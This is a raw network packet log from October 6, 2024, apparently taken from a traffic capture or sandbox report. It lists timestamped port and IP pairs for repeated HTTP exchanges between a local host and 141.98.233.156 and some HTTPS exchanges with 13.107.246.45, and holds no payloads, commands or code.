Oct 6, 2024 22:33:15.211684942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211694002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211707115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211718082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211730957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211740017 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211752892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211761951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211785078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214457035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214523077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214540005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214565992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214589119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214647055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214660883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214675903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214694977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214704037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214715004 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214730978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214740038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214755058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214765072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214776993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214787006 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214807987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214831114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214844942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214864016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214870930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214879990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214893103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214903116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214925051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.214939117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.214970112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.245260000 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.245415926 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.245496035 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.245712996 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.245726109 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.245739937 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.245747089 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.248281956 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.248327017 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.248408079 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.248543978 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.248564959 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.293895006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.293942928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.293957949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294025898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294053078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294068098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294083118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294092894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294102907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294130087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294193029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294208050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294223070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294239044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294249058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294270039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294292927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294377089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294392109 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294406891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294425964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294435024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294446945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294464111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294464111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294475079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294487953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294497967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294528008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294708014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294722080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294744015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294755936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294769049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294780016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294786930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294804096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294819117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294827938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294838905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294852018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294862032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294874907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294884920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294898987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294909000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294920921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294931889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294945955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.294954062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.294976950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295193911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295208931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295223951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295238018 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295247078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295258045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295264959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295278072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295295954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295305967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295319080 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295336008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295528889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295542955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295551062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295576096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295586109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295598984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295608997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295619965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295631886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295644045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295655012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295671940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295689106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295696974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295710087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295721054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295733929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295743942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295757055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295766115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295779943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295792103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295805931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295819998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295833111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295846939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295856953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295866966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295880079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295890093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295902967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295914888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295927048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295936108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295949936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.295958996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.295980930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296401024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296416044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296431065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296441078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296454906 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296463013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296473026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296483994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296494961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296508074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296519995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296531916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296541929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296554089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296566010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296577930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296586990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296600103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296612978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296622992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296633005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296646118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296658993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296670914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296679974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296694040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296708107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296721935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296737909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296746969 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296757936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296766996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296778917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296799898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296806097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296818018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296833992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296843052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296854973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.296864033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296884060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.296906948 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.321187019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.325988054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.400073051 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.400091887 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.406558037 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.406991005 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.407013893 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.407447100 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.407454014 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.463597059 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.463977098 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.463989973 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.464356899 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.464363098 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.502000093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502054930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502072096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502134085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502154112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502161026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502180099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502206087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502208948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502230883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502243996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502307892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502331972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502351999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502352953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502372026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502373934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502393961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502405882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502567053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502600908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502614975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502615929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502633095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502640009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502655029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502660990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502674103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502685070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502698898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502702951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502727985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502727985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502743959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502748966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502760887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502823114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.502851009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.502863884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503031015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503060102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503072977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503096104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503096104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503113031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503128052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503132105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503155947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503160000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503174067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503180981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503195047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503196955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503212929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503233910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503259897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503469944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503484964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503499985 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503514051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503528118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503530979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503557920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503561974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503571033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503578901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503598928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503606081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503612995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503622055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503637075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503658056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503663063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503680944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503690958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503704071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503720045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503720045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503737926 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503750086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503767014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.503772974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.503810883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504220963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504236937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504254103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504276991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504297018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504302025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504323006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504355907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504368067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504371881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504393101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504399061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504415989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504419088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504431963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504447937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504452944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504463911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504476070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504481077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504498005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504501104 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504513979 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504519939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504544020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504544973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504555941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504569054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504580021 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504585028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504601002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504610062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504621029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504626989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.504650116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.504663944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505120993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505139112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505153894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505170107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505179882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505184889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505204916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505204916 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505228996 CEST	49741	80	192.168.2.4	141.98.233.156
